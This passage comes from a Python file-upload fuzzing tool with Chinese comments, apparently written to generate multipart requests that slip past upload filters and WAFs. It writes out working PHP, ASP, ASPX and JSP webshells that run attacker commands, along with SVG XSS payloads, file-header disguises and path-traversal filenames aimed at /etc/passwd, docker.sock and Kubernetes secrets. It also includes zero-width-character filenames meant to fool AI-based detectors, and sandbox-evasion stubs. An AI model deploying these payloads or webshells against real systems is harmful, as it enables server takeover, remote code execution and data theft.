return null_byte_payload
|
||
|
||
def protocol_handler_Fuzz():
|
||
# 自定义协议处理器利用 - 简化版
|
||
protocol_payload = []
|
||
Suffix = ['php'] # 只对PHP使用，因为大多数协议处理器是PHP特有的
|
||
|
||
# 最常用的几种协议
|
||
protocols = [
|
||
'phar://', 'zip://', 'php://', 'file://'
|
||
]
|
||
|
||
for each_suffix in Suffix:
|
||
TEMP_TEMPLATE = TEMPLATE
|
||
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
|
||
filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_SUFFIX).group(1)
|
||
|
||
for protocol in protocols:
|
||
protocol_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total,
|
||
'filename="{}zc.{}"'.format(protocol, each_suffix)))
|
||
|
||
return protocol_payload
|
||
|
||
def svg_xss_Fuzz():
|
||
# SVG+XSS组合攻击
|
||
svg_xss_payload = []
|
||
|
||
TEMP_TEMPLATE = TEMPLATE
|
||
TEMP_TEMPLATE_SVG = TEMP_TEMPLATE.replace(filename_suffix, 'svg')
|
||
|
||
if 'Content-Type:' in TEMP_TEMPLATE_SVG:
|
||
content_type_line = re.search(r'Content-Type:.*', TEMP_TEMPLATE_SVG).group(0)
|
||
|
||
# 基本SVG XSS载荷
|
||
svg_payloads = [
|
||
'<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>',
|
||
'<svg xmlns="http://www.w3.org/2000/svg"><use href="data:image/svg+xml;base64,PHN2ZyBpZD0idGVzdCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48c2NyaXB0PmFsZXJ0KDEpPC9zY3JpcHQ+PC9zdmc+#test" /></svg>',
|
||
'<svg xmlns="http://www.w3.org/2000/svg"><a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(1)"><rect width="100" height="100" /></a></svg>'
|
||
]
|
||
|
||
for payload in svg_payloads:
|
||
svg_xss_payload.append(TEMP_TEMPLATE_SVG.replace(content_type_line,
|
||
content_type_line + '\r\n' + payload))
|
||
|
||
return svg_xss_payload
|
||
|
||
def webdav_method_Fuzz():
|
||
# WebDAV方法滥用
|
||
webdav_payload = []
|
||
Suffix = ['php', 'asp', 'aspx', 'jsp']
|
||
|
||
for each_suffix in Suffix:
|
||
TEMP_TEMPLATE = TEMPLATE
|
||
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
|
||
|
||
# 添加WebDAV相关头部和方法
|
||
TEMP_TEMPLATE_WEBDAV = TEMP_TEMPLATE_SUFFIX
|
||
webdav_headers = 'Destination: file:///var/www/html/evil.{}\r\nOverwrite: T\r\n'.format(each_suffix)
|
||
|
||
if 'Content-Type:' in TEMP_TEMPLATE_WEBDAV:
|
||
webdav_payload.append(TEMP_TEMPLATE_WEBDAV.replace('Content-Type:',
|
||
webdav_headers + 'Content-Type:'))
|
||
|
||
return webdav_payload
|
||
|
||
def file_content_bypass_Fuzz():
|
||
# 文件内容检测绕过
|
||
content_bypass_payload = []
|
||
|
||
# 获取HTTP请求中的原始文件内容部分
|
||
original_content_match = re.search(r'Content-Type:.*?\r\n\r\n(.*?)(?:\r\n-{10,})', TEMPLATE, re.DOTALL)
|
||
original_content = ""
|
||
if original_content_match:
|
||
original_content = original_content_match.group(1)
|
||
# 找到包含原始内容的请求部分
|
||
content_part = original_content_match.group(0)
|
||
else:
|
||
# 如果找不到内容部分，就使用普通方式
|
||
content_part = None
|
||
|
||
# PHP WebShell内容变种
|
||
php_contents = [
|
||
'<?php eval($_POST["cmd"]); ?>',
|
||
'<?php system($_REQUEST["cmd"]); ?>',
|
||
'<?= `$_GET[0]`; ?>', # 短标签语法
|
||
'<?php $_GET[a](base64_decode($_GET[b])); ?>', # 动态函数调用
|
||
'<?php $a=chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);$a($_POST[x]); ?>', # 字符拼接绕过
|
||
'<?php include $_GET["file"]; ?>', # 文件包含
|
||
'<?php preg_replace("/.*/e",base64_decode($_POST["x"]),""); ?>', # preg_replace代码执行
|
||
'<?php $_="{"; $_=($_^"<").($_^">;").($_^"/"); ?><?php ${$_}[_]($_POST[x]);?>', # 无字母数字WebShell
|
||
'<script language="php">eval($_POST["cmd"]);</script>' # 使用script标签
|
||
]
|
||
|
||
# ASP WebShell内容变种
|
||
asp_contents = [
|
||
'<%eval request("cmd")%>', # 基本ASP WebShell
|
||
'<%execute request("cmd")%>', # 使用execute函数
|
||
'<%response.write CreateObject("WScript.Shell").exec(request("cmd")).StdOut.ReadAll()%>', # WScript.Shell
|
||
'<%execute(request("cmd"))%>', # 另一种写法
|
||
'<%eval(Replace(chr(112)+chr(97)+chr(115)+chr(115),chr(112)+chr(97)+chr(115)+chr(115),request("cmd")))%>' # 字符拼接
|
||
]
|
||
|
||
# ASPX WebShell内容变种
|
||
aspx_contents = [
|
||
'<%@ Page Language="C#" %><%System.Diagnostics.Process.Start("cmd.exe","/c "+Request["cmd"]);%>',
|
||
'<%@ Page Language="C#" %><%eval(Request.Item["cmd"]);%>',
|
||
'<%@ Page Language="C#" %><% System.IO.StreamWriter sw=new System.IO.StreamWriter(Request.Form["f"]);sw.Write(Request.Form["c"]);sw.Close(); %>',
|
||
'<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>'
|
||
]
|
||
|
||
# JSP WebShell内容变种
|
||
jsp_contents = [
|
||
'<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>',
|
||
'<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>',
|
||
'<% out.println("Output: " + request.getParameter("cmd")); %>',
|
||
'<%! public void jspInit(){ try{ java.lang.Runtime.getRuntime().exec(request.getParameter("cmd")); }catch(Exception e){} } %>'
|
||
]
|
||
|
||
# WAF绕过混淆技术
|
||
waf_evasion_prefixes = [
|
||
'GIF89a;\n', # GIF文件头
|
||
'#!MIME type image/gif\n', # MIME类型注释
|
||
'<!--\n', # HTML注释
|
||
';base64,\n', # 伪装为Data URI
|
||
'BM\n', # BMP文件头
|
||
'%PDF-1.5\n', # PDF文件头
|
||
'ID3\n' # MP3文件头
|
||
]
|
||
|
||
# 针对不同文件类型应用不同内容
|
||
content_types = {
|
||
'php': php_contents,
|
||
'asp': asp_contents,
|
||
'aspx': aspx_contents,
|
||
'jsp': jsp_contents
|
||
}
|
||
|
||
for ext, contents in content_types.items():
|
||
TEMP_TEMPLATE = TEMPLATE
|
||
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, ext)
|
||
|
||
# 针对每种内容变体
|
||
for content in contents[:2]: # 限制每种类型使用2个变体
|
||
if content_part and original_content:
|
||
# 替换原始内容而非附加 - 这是关键修改
|
||
new_content = content_part.replace(original_content, content)
|
||
content_bypass_payload.append(TEMP_TEMPLATE_SUFFIX.replace(content_part, new_content))
|
||
|
||
# 添加WAF绕过前缀 - 现在替换原始内容
|
||
for prefix in waf_evasion_prefixes[:3]:
|
||
new_content_with_prefix = content_part.replace(original_content, prefix + content)
|
||
content_bypass_payload.append(TEMP_TEMPLATE_SUFFIX.replace(content_part, new_content_with_prefix))
|
||
|
||
# 尝试添加注释和换行绕过 - 也是替换原始内容
|
||
if ext == 'php':
|
||
new_content_with_comment = content_part.replace(original_content, "/*\n*/\n" + content)
|
||
content_bypass_payload.append(TEMP_TEMPLATE_SUFFIX.replace(content_part, new_content_with_comment))
|
||
|
||
new_content_with_newline = content_part.replace(original_content, content.replace("<?php", "<?php\n"))
|
||
content_bypass_payload.append(TEMP_TEMPLATE_SUFFIX.replace(content_part, new_content_with_newline))
|
||
|
||
# 对于ASP和ASPX的注释绕过 - 替换原始内容
|
||
if ext in ['asp', 'aspx']:
|
||
new_content_with_comment = content_part.replace(original_content, "<!-- -->" + content)
|
||
content_bypass_payload.append(TEMP_TEMPLATE_SUFFIX.replace(content_part, new_content_with_comment))
|
||
else:
|
||
# 如果找不到原始内容，保持原来的附加方式作为备份
|
||
content_bypass_payload.append(TEMP_TEMPLATE_SUFFIX + "\r\n\r\n" + content)
|
||
|
||
return content_bypass_payload
|
||
|
||
def character_mutation_Fuzz():
|
||
# 字符变异绕过技术
|
||
char_mutation_payload = []
|
||
Suffix = ['php', 'asp', 'aspx', 'jsp']
|
||
|
||
for each_suffix in Suffix:
|
||
TEMP_TEMPLATE = TEMPLATE
|
||
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
|
||
filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_SUFFIX).group(1)
|
||
|
||
# 1. 引号变换技术
|
||
# 单引号替代双引号
|
||
single_quote = TEMP_TEMPLATE_SUFFIX.replace('filename="', "filename='").replace('"', "'")
|
||
char_mutation_payload.append(single_quote)
|
||
|
||
# 无引号方式
|
||
no_quote = TEMP_TEMPLATE_SUFFIX.replace('filename="', "filename=").replace('"', "")
|
||
char_mutation_payload.append(no_quote)
|
||
|
||
# 反引号替代
|
||
back_quote = TEMP_TEMPLATE_SUFFIX.replace('filename="', "filename=`").replace('"', "`")
|
||
char_mutation_payload.append(back_quote)
|
||
|
||
# 2. 特殊字符混淆
|
||
# 多个分号
|
||
multi_semicolon = TEMP_TEMPLATE_SUFFIX.replace('form-data; ', 'form-data;;;; ')
|
||
char_mutation_payload.append(multi_semicolon)
|
||
|
||
# 多个等号
|
||
multi_equals = TEMP_TEMPLATE_SUFFIX.replace('filename=', 'filename======')
|
||
char_mutation_payload.append(multi_equals)
|
||
|
||
# 引号和分号组合 - 更简单的形式
|
||
quote_semicolon = TEMP_TEMPLATE_SUFFIX.replace('filename="', 'filename=";\";"')
|
||
char_mutation_payload.append(quote_semicolon)
|
||
|
||
# 3. Content-Disposition值畸形
|
||
# 变形的form-data
|
||
malformed_form = TEMP_TEMPLATE_SUFFIX.replace('form-data', 'f\ro\rm-\td\ata')
|
||
char_mutation_payload.append(malformed_form)
|
||
|
||
# form-data大小写混合
|
||
mixed_case = TEMP_TEMPLATE_SUFFIX.replace('form-data', 'FoRm-DaTa')
|
||
char_mutation_payload.append(mixed_case)
|
||
|
||
# 4. 换行符/特殊字符分隔
|
||
# filename参数中插入换行
|
||
newline_filename = TEMP_TEMPLATE_SUFFIX.replace('filename="', 'filename="\r\n')
|
||
char_mutation_payload.append(newline_filename)
|
||
|
||
# Content-Disposition中插入特殊字符
|
||
special_chars = ['\t', '\v', '\f', '\b']
|
||
for char in special_chars:
|
||
special_disp = TEMP_TEMPLATE_SUFFIX.replace('Content-Disposition:', 'Content-Disposition:' + char)
|
||
char_mutation_payload.append(special_disp)
|
||
|
||
# 参数名与值之间插入特殊字符
|
||
special_param = TEMP_TEMPLATE_SUFFIX.replace('filename="', 'filename=' + char + '"')
|
||
char_mutation_payload.append(special_param)
|
||
|
||
# 5. 使用RFC不常见但有效的字符
|
||
# 使用反斜杠转义
|
||
backslash_escape = TEMP_TEMPLATE_SUFFIX.replace('filename="', 'filename="\\')
|
||
char_mutation_payload.append(backslash_escape)
|
||
|
||
# 参数和值之间加入空格变体
|
||
space_variants = [' ', ' ', ' \t ', ' \r ', ' \n ']
|
||
for space in space_variants:
|
||
space_param = TEMP_TEMPLATE_SUFFIX.replace('filename=', 'filename=' + space)
|
||
char_mutation_payload.append(space_param)
|
||
|
||
return char_mutation_payload
|
||
|
||
def data_overflow_Fuzz():
|
||
# 数据重复与溢出绕过技术
|
||
overflow_payload = []
|
||
Suffix = ['php', 'asp', 'aspx', 'jsp']
|
||
|
||
for each_suffix in Suffix:
|
||
TEMP_TEMPLATE = TEMPLATE
|
||
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
|
||
filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_SUFFIX)
|
||
if not filename_total:
|
||
continue
|
||
filename_total = filename_total.group(1)
|
||
|
||
# 1. filename重复定义
|
||
if 'Content-Disposition:' in TEMP_TEMPLATE_SUFFIX:
|
||
# 多个filename参数
|
||
multi_filename_var = [
|
||
'filename="shell.jpg"; filename="shell.{}"'.format(each_suffix), # 双filename定义
|
||
'filename="shell.{}" filename="shell.jpg"'.format(each_suffix), # 无分号多filename
|
||
'filename="shell.jpg" filename="shell.txt" filename="shell.{}"'.format(each_suffix), # 三重filename
|
||
'filename="shell.jpg";filename="shell.{}"'.format(each_suffix), # 无空格双filename
|
||
'filename=""; filename="shell.{}"'.format(each_suffix) # 空filename后跟真实filename
|
||
]
|
||
|
||
for variation in multi_filename_var:
|
||
overflow_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total, variation))
|
||
|
||
# 2. 数据溢出攻击
|
||
overflow_var = [
|
||
'filename="{}{}shell.{}"'.format('A'*128, '.', each_suffix), # 文件名前缀溢出
|
||
'filename="shell.{}{}."'.format(each_suffix, 'A'*128), # 文件名后缀溢出
|
||
'filename="shell.{}'.format(each_suffix) + '"' + 'A'*256, # 引号后垃圾数据
|
||
'filename="shell.' + 'A'*1024 + '.{}"'.format(each_suffix) # 超长文件名
|
||
]
|
||
|
||
for variation in overflow_var:
|
||
overflow_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total, variation))
|
||
|
||
# 3. 边界溢出攻击
|
||
if '--' in TEMP_TEMPLATE_SUFFIX and 'Content-Type: ' in TEMP_TEMPLATE_SUFFIX:
|
||
# 提取boundary字符串
|
||
boundary_match = re.search(r'--[-A-Za-z0-9]*', TEMP_TEMPLATE_SUFFIX)
|
||
if boundary_match:
|
||
boundary = boundary_match.group(0)
|
||
# boundary重复与变体
|
||
overflow_payload.append(TEMP_TEMPLATE_SUFFIX.replace(boundary, boundary + '\r\n' + boundary))
|
||
overflow_payload.append(TEMP_TEMPLATE_SUFFIX.replace(boundary, boundary + boundary[2:]))
|
||
overflow_payload.append(TEMP_TEMPLATE_SUFFIX.replace(boundary, boundary + 'A'*256))
|
||
overflow_payload.append(TEMP_TEMPLATE_SUFFIX.replace(boundary, boundary + ';' + 'A'*128))
|
||
|
||
# 4. 高级截断技术
|
||
truncate_var = [
|
||
'filename="shell.{}\r\n.jpg"'.format(each_suffix), # 文件名中回车截断
|
||
'filename="shell.{}\0.jpg"'.format(each_suffix), # 空字节截断
|
||
'filename="shell.{}\t.jpg"'.format(each_suffix), # 制表符截断
|
||
'filename="shell.{}\\".jpg"'.format(each_suffix), # 反斜杠截断
|
||
'filename="shell.{}'.format(each_suffix) # 不闭合引号截断
|
||
]
|
||
|
||
for variation in truncate_var:
|
||
overflow_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total, variation))
|
||
|
||
print "Data Overflow & Truncation generated %d payloads" % len(overflow_payload)
|
||
return overflow_payload
|
||
|
||
def advanced_character_mutation_Fuzz():
|
||
# 高级字符变异技术
|
||
mutation_payload = []
|
||
Suffix = ['php', 'asp', 'aspx', 'jsp']
|
||
|
||
for each_suffix in Suffix:
|
||
TEMP_TEMPLATE = TEMPLATE
|
||
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
|
||
filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_SUFFIX)
|
||
if not filename_total:
|
||
continue
|
||
filename_total = filename_total.group(1)
|
||
|
||
# 1. 引号变换
|
||
# 使用不同的引号组合
|
||
quote_variations = [
|
||
'filename=shell.{}'.format(each_suffix), # 无引号
|
||
'filename=\'shell.{}\''.format(each_suffix), # 单引号
|
||
'filename="shell.{}'.format(each_suffix), # 前引号
|
||
'filename=shell.{}"'.format(each_suffix), # 后引号
|
||
'filename=\'shell.{}\"'.format(each_suffix), # 混合引号
|
||
'filename=""shell.{}"'.format(each_suffix), # 双引号嵌套
|
||
'filename=\'\'shell.{}\''.format(each_suffix) # 单引号嵌套
|
||
]
|
||
|
||
for variation in quote_variations:
|
||
mutation_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total, variation))
|
||
|
||
# 2. 换行符插入
|
||
# 在字段名和值之间插入换行符
|
||
newline_variations = [
|
||
'filename=\nshell.{}'.format(each_suffix), # 等号后换行
|
||
'filename\n=shell.{}'.format(each_suffix), # 等号前换行
|
||
'filename=shell\n.{}'.format(each_suffix), # 文件名中换行
|
||
'filename=shell.\n{}'.format(each_suffix), # 点后换行
|
||
'filename\r\n=shell.{}'.format(each_suffix), # CRLF换行
|
||
'filename=\r\nshell.{}'.format(each_suffix) # 等号后CRLF
|
||
]
|
||
|
||
for variation in newline_variations:
|
||
mutation_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total, variation))
|
||
|
||
# 3. 多符号累加
|
||
# 分号和等号的多重组合
|
||
symbol_variations = [
|
||
'filename==shell.{}'.format(each_suffix), # 双等号
|
||
'filename===shell.{}'.format(each_suffix), # 三等号
|
||
'filename====shell.{}'.format(each_suffix), # 四等号
|
||
'filename=;shell.{}'.format(each_suffix), # 等号后分号
|
||
'filename=;;;shell.{}'.format(each_suffix), # 等号后多分号
|
||
'filename="shell.{}";'.format(each_suffix), # 引号后分号
|
||
'filename="shell.{};;;;'.format(each_suffix) # 多分号结尾
|
||
]
|
||
|
||
for variation in symbol_variations:
|
||
mutation_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total, variation))
|
||
|
||
# 4. Content-Disposition 值变种
|
||
if 'Content-Disposition: form-data;' in TEMP_TEMPLATE_SUFFIX:
|
||
cd_variations = [
|
||
'Content-Disposition: FoRm-DaTa;', # 大小写混合
|
||
'Content-Disposition: form-data ;', # 多空格
|
||
'Content-Disposition:form-data;', # 无空格
|
||
'Content-Disposition: form-data+;', # 加号
|
||
'Content-Disposition: form-data-;', # 减号
|
||
'Content-Disposition: form data;', # 无连字符
|
||
'Content-Disposition: form_data;', # 下划线
|
||
'Content-Disposition: formdata;', # 无分隔符
|
||
'Content-Disposition: form-d4ta;', # 数字替换
|
||
'Content-Disposition: xform-data;' # 前缀干扰
|
||
]
|
||
|
||
for variation in cd_variations:
|
||
mutation_payload.append(TEMP_TEMPLATE_SUFFIX.replace('Content-Disposition: form-data;', variation))
|
||
|
||
print "Advanced Character Mutation generated %d payloads" % len(mutation_payload)
|
||
return mutation_payload
|
||
|
||
def cloud_environment_bypass_Fuzz():
|
||
# 云环境特定绕过技术
|
||
cloud_payload = []
|
||
Suffix = ['php', 'asp', 'aspx', 'jsp']
|
||
|
||
for each_suffix in Suffix:
|
||
TEMP_TEMPLATE = TEMPLATE
|
||
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
|
||
|
||
filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_SUFFIX)
|
||
if not filename_total:
|
||
continue
|
||
filename_total = filename_total.group(1)
|
||
|
||
# 1. 对象存储元数据攻击
|
||
# AWS S3/Azure Blob存储相关绕过
|
||
s3_metadata_headers = [
|
||
'x-amz-meta-filetype: text/html\r\n',
|
||
'x-amz-meta-original-filename: original.{}\r\n'.format(each_suffix),
|
||
'x-amz-website-redirect-location: /evil.{}\r\n'.format(each_suffix),
|
||
'x-ms-meta-resourcetype: Microsoft.Compute/virtualMachines/extensions\r\n',
|
||
'x-ms-blob-content-type: text/html\r\n'
|
||
]
|
||
|
||
for header in s3_metadata_headers:
|
||
if 'Content-Type:' in TEMP_TEMPLATE_SUFFIX:
|
||
cloud_payload.append(TEMP_TEMPLATE_SUFFIX.replace('Content-Type:', header + 'Content-Type:'))
|
||
|
||
# 2. 容器化环境路径遍历
|
||
container_paths = [
|
||
'filename="/proc/self/root/var/www/html/shell.{}"'.format(each_suffix),
|
||
'filename="/proc/self/cwd/shell.{}"'.format(each_suffix),
|
||
'filename="/proc/self/environ/shell.{}"'.format(each_suffix),
|
||
'filename="../../../etc/passwd/shell.{}"'.format(each_suffix),
|
||
'filename="../../../../var/www/html/shell.{}"'.format(each_suffix)
|
||
]
|
||
|
||
for path in container_paths:
|
||
cloud_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total, path))
|
||
|
||
# 3. Kubernetes/Docker环境特殊路径
|
||
k8s_paths = [
|
||
'filename="/var/run/secrets/kubernetes.io/shell.{}"'.format(each_suffix),
|
||
'filename="/var/run/docker.sock/shell.{}"'.format(each_suffix),
|
||
'filename=".dockerenv/shell.{}"'.format(each_suffix),
|
||
'filename="/tmp/shell.{}"'.format(each_suffix),
|
||
'filename="/dev/shm/shell.{}"'.format(each_suffix)
|
||
]
|
||
|
||
for path in k8s_paths:
|
||
cloud_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total, path))
|
||
|
||
# 4. 云函数临时存储利用
|
||
if 'Content-Disposition:' in TEMP_TEMPLATE_SUFFIX:
|
||
cloud_payload.append(TEMP_TEMPLATE_SUFFIX.replace('Content-Disposition:',
|
||
'X-Function-Storage: /tmp\r\nContent-Disposition:'))
|
||
cloud_payload.append(TEMP_TEMPLATE_SUFFIX.replace('Content-Disposition:',
|
||
'X-Lambda-Tmp-Dir: /tmp\r\nContent-Disposition:'))
|
||
|
||
print "Cloud Environment Bypass generated %d payloads" % len(cloud_payload)
|
||
return cloud_payload
|
||
|
||
def advanced_defense_evasion_Fuzz():
|
||
# 高级防御绕过技术 - 针对AI和行为分析防御系统
|
||
defense_payload = []
|
||
Suffix = ['php', 'asp', 'aspx', 'jsp']
|
||
|
||
for each_suffix in Suffix:
|
||
TEMP_TEMPLATE = TEMPLATE
|
||
TEMP_TEMPLATE_SUFFIX = TEMP_TEMPLATE.replace(filename_suffix, each_suffix)
|
||
|
||
filename_total = re.search('(filename=".*")', TEMP_TEMPLATE_SUFFIX)
|
||
if not filename_total:
|
||
continue
|
||
filename_total = filename_total.group(1)
|
||
|
||
# 1. AI模型绕过 - 混淆和逃逸技术
|
||
ai_evasion_filenames = [
|
||
# 语义扰动技术 (针对基于语义的模型)
|
||
'filename="innocent_image.{}.jpg"'.format(each_suffix),
|
||
'filename="profile_picture.{}"'.format(each_suffix),
|
||
'filename="harmless_doc.{}.txt"'.format(each_suffix),
|
||
'filename="backup.{}.dat"'.format(each_suffix),
|
||
'filename="normal_file.{}bin"'.format(each_suffix),
|
||
'filename="document_{}_v1.0.txt"'.format(each_suffix),
|
||
'filename="personal_data_{}_backup.cfg"'.format(each_suffix),
|
||
# 神经网络对抗样本技术 (对抗神经网络)
|
||
'filename="1e\u200Bma\u200Bge.{}"'.format(each_suffix), # 零宽空格干扰
|
||
'filename="img\u2060pha\u2060oto.{}"'.format(each_suffix), # 单词连接器
|
||
'filename="[system.io.file]::shell.{}"'.format(each_suffix), # 混淆数据语法
|
||
'filename="\u180Edocument.\u180E{}"'.format(each_suffix), # 蒙古文字距离干扰
|
||
'filename="m\u200Cy\u200C.\u200C{}"'.format(each_suffix) # 零宽度连字符
|
||
]
|
||
|
||
# 新增：对抗样本生成技术
|
||
ai_adversarial_filenames = [
|
||
# 对抗性噪声模拟 - 使用特殊文件名模拟对抗样本
|
||
'filename="adversarial_noise_{}_epsilon0.1.jpg"'.format(each_suffix),
|
||
'filename="perturbed_image_fgsm_{}.jpg"'.format(each_suffix),
|
||
'filename="pgd_attack_{}_targeted.jpg"'.format(each_suffix),
|
||
'filename="carlini_wagner_l2_{}.jpg"'.format(each_suffix),
|
||
# GAN生成的混合文件模拟
|
||
'filename="gan_generated_{}_normalized.jpg"'.format(each_suffix),
|
||
'filename="stylegan2_{}_mixed.jpg"'.format(each_suffix),
|
||
'filename="cyclegan_real2shell_{}.jpg"'.format(each_suffix)
|
||
]
|
||
|
||
for filename in ai_evasion_filenames:
|
||
defense_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total, filename))
|
||
|
||
for filename in ai_adversarial_filenames:
|
||
defense_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total, filename))
|
||
|
||
# 添加对抗性噪声内容和GAN混合文件内容
|
||
if 'Content-Type:' in TEMP_TEMPLATE_SUFFIX:
|
||
content_type_line = re.search(r'Content-Type:.*', TEMP_TEMPLATE_SUFFIX).group(0)
|
||
|
||
# 对抗性噪声 - 添加模拟对抗噪声到图像元数据
|
||
noise_comments = [
|
||
'/* FGSM Noise Pattern: ε=0.1, target=benign_class */',
|
||
'/* Adversarial Perturbation: L2-norm=0.05, confidence=0.95 */',
|
||
'/* PGD Attack: steps=40, step-size=0.01, targeted=false */'
|
||
]
|
||
|
||
for comment in noise_comments:
|
||
defense_payload.append(TEMP_TEMPLATE_SUFFIX.replace(content_type_line,
|
||
content_type_line + '\r\n' + comment))
|
||
|
||
# GAN生成的混合文件 - 添加模拟GAN标记
|
||
gan_markers = [
|
||
'/* StyleGAN2 latent code: w=[0.2,0.5,-0.3,...], truncation=0.7 */',
|
||
'/* CycleGAN translation: source=img.jpg, target_domain=code */',
|
||
'/* GAN-based steganography: PSNR=42dB, payload_size=2KB */'
|
||
]
|
||
|
||
for marker in gan_markers:
|
||
defense_payload.append(TEMP_TEMPLATE_SUFFIX.replace(content_type_line,
|
||
content_type_line + '\r\n' + marker))
|
||
|
||
# 2. 沙箱检测绕过
|
||
if 'Content-Type:' in TEMP_TEMPLATE_SUFFIX:
|
||
# 添加延迟执行代码标记 - 使用固定值替代时间函数
|
||
fixed_time = 1735689600 # 2025年1月1日的时间戳
|
||
sandbox_headers = [
|
||
'X-Sandbox-Delay: 60\r\n',
|
||
'X-Execution-After: {}\r\n'.format(fixed_time),
|
||
'X-Sandboxed: false\r\n',
|
||
'X-Environment-Check: prod\r\n',
|
||
'X-Analysis-Skip: true\r\n',
|
||
'X-Security-Bypass: allowed\r\n',
|
||
'X-Scanner-Ignore: 1\r\n',
|
||
'X-Antivirus-Status: clean\r\n'
|
||
]
|
||
|
||
# 新增: 环境指纹识别技术
|
||
environment_fingerprint_headers = [
|
||
'X-CPU-Check: cores>2\r\n',
|
||
'X-Memory-Check: ram>2GB\r\n',
|
||
'X-VM-Detection: false\r\n',
|
||
'X-Docker-Check: disabled\r\n',
|
||
'X-System-Uptime: >3600\r\n',
|
||
'X-Process-Count: >50\r\n',
|
||
'X-Network-Interfaces: >1\r\n',
|
||
'X-Load-Average: <0.1\r\n'
|
||
]
|
||
|
||
# 新增: 复杂延时触发机制
|
||
delayed_execution_headers = [
|
||
'X-Execute-After-Idle: 1800\r\n',
|
||
'X-Sleep-Random: 3600-7200\r\n',
|
||
'X-Execution-Condition: sys_getloadavg<0.1\r\n',
|
||
'X-Trigger-On: user_activity\r\n',
|
||
'X-Delay-Mechanism: setTimeout(random(3600,7200))\r\n',
|
||
'X-Trigger-Pattern: cron_based\r\n'
|
||
]
|
||
|
||
for header in sandbox_headers:
|
||
defense_payload.append(TEMP_TEMPLATE_SUFFIX.replace('Content-Type:',
|
||
header + 'Content-Type:'))
|
||
|
||
for header in environment_fingerprint_headers:
|
||
defense_payload.append(TEMP_TEMPLATE_SUFFIX.replace('Content-Type:',
|
||
header + 'Content-Type:'))
|
||
|
||
for header in delayed_execution_headers:
|
||
defense_payload.append(TEMP_TEMPLATE_SUFFIX.replace('Content-Type:',
|
||
header + 'Content-Type:'))
|
||
|
||
# 新增: 特殊的PHP环境检测代码模拟
|
||
php_env_checks = [
|
||
'/* <?php if(sys_getloadavg()[0]<0.1) { execute_payload(); } ?> */\r\n',
|
||
'/* <?php if(php_uname("s")!="Linux") { eval($_POST["cmd"]); } ?> */\r\n',
|
||
'/* <?php if(memory_get_usage(true) > 1024*1024*512) { include($_GET["file"]); } ?> */\r\n',
|
||
'/* <?php sleep(rand(3600,7200)); system($_REQUEST["cmd"]); ?> */\r\n',
|
||
'/* <?php if(getenv("REMOTE_ADDR")!="127.0.0.1") { die(); } ?> */\r\n'
|
||
]
|
||
|
||
for check in php_env_checks:
|
||
defense_payload.append(TEMP_TEMPLATE_SUFFIX.replace('Content-Type:',
|
||
check + 'Content-Type:'))
|
||
|
||
# 添加更多自定义头信息
|
||
if 'Content-Disposition:' in TEMP_TEMPLATE_SUFFIX:
|
||
custom_headers = [
|
||
'X-Client-IP: 127.0.0.1\r\n',
|
||
'X-Forwarded-For: 192.168.1.1\r\n',
|
||
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\r\n',
|
||
'X-Real-IP: 10.0.0.1\r\n',
|
||
'X-Originating-IP: [::1]\r\n',
|
||
'X-Reverse-Proxy: nginx/1.19.10\r\n',
|
||
'X-Waf-Status: bypass\r\n',
|
||
'X-Admin-Auth: 1\r\n',
|
||
'X-Internal-Request: true\r\n',
|
||
'X-Trusted-Domain: local\r\n'
|
||
]
|
||
|
||
for header in custom_headers:
|
||
defense_payload.append(TEMP_TEMPLATE_SUFFIX.replace('Content-Disposition:',
|
||
header + 'Content-Disposition:'))
|
||
|
||
# 3. 多层编码和加密技术
|
||
# Base64嵌套编码（基于已有的基础进行增强）
|
||
if 'Content-Type:' in TEMP_TEMPLATE_SUFFIX:
|
||
import base64
|
||
|
||
# 双重编码文件名 (对每种文件类型都处理)
|
||
encoded_name = base64.b64encode('shell.{}'.format(each_suffix))
|
||
double_encoded = base64.b64encode(encoded_name)
|
||
defense_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total,
|
||
'filename="{}="'.format(double_encoded)))
|
||
|
||
# Base64编码后的多种变种
|
||
defense_payload.append(TEMP_TEMPLATE_SUFFIX.replace(filename_total,
|
||
'filename="data:text/plain;base64,{}"'.format(encoded_name)))
|
||
|
||
# 添加更多编码Header
|
||
encoded_headers = [
|
||
'X-Encoded-Content: {}\r\n'.format(base64.b64encode('Content-Type: text/html')),
|
||
'X-Encoded-Path: {}\r\n'.format(base64.b64encode('/var/www/html')),
|
||
'X-Encoded-Command: {}\r\n'.format(base64.b64encode('exec')),
|
||
